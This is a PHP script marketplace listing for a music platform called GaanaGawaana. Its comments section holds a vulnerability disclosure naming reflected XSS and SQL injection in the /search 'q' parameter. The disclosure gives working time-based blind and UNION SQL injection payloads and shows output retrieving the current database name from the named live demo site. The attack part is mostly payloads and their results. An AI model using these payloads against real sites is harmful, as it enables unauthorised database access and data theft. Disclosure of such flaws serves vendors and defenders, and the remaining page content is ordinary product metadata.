Home / Scripts & Code / PHP Scripts / Multimedia / Music
GaanaGawaana - Music Platform PHP ScriptGaanaGawaana - Music Platform PHP Script
Listen Music, Download MP3 & MP4 , Song Lyrics in single PlatformHome / Scripts & Code / PHP Scripts / Multimedia / Music
GaanaGawaana - Music Platform PHP Script
Listen Music, Download MP3 & MP4 , Song Lyrics in single Platform1 Support questions or comments
Please login or create an account to post a question or comment.
-
May 10, 2023GaanaGawaana 1.0 - Music Platform PHP Script
Author: CraCkEr
Date: 10/05/2023
Description: This version is Vulnerable to Reflected XSS and SQL Injection
-------------------------------------------------------------------------
Path : /search
GET parameter 'q' is vulnerable to RXSS
https://gaanagawaana.codesler.com/search?q=[XSS]
-------------------------------------------------------------------------
Path : /search
GET parameter 'q' is vulnerable to SQLI
https://gaanagawaana.codesler.com/search?q=[SQLI]
---
Parameter: q (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: q=' AND (SELECT 3838 FROM (SELECT(SLEEP(5)))giXs) AND 'YaMa'='YaMa
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: q=' UNION ALL SELECT NULL,CONCAT(0x716b707671,0x436e596a66675a65667a6c6a574e675142484f46776b4265766847466958456f6f556c4d58465172,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
fetching current database
current database: '2940126_gaanagawaana'
[-] Done
Information
| Category | Scripts & Code / PHP Scripts / Multimedia / Music |
| First release | 27 November 2020 |
| Last update | 1 December 2020 |
| Software version | PHP 7.0, PHP 7.1, PHP 7.2, PHP 7.4, PHP 5.x |
| Files included | .php, .css, .html, .sql, Javascript .js |
| Database | MySQL 4.x, MySQL 5.x |
| Tags | Music, song, admin panel, youtube to mp3, video download, artist, listen, lyrics |
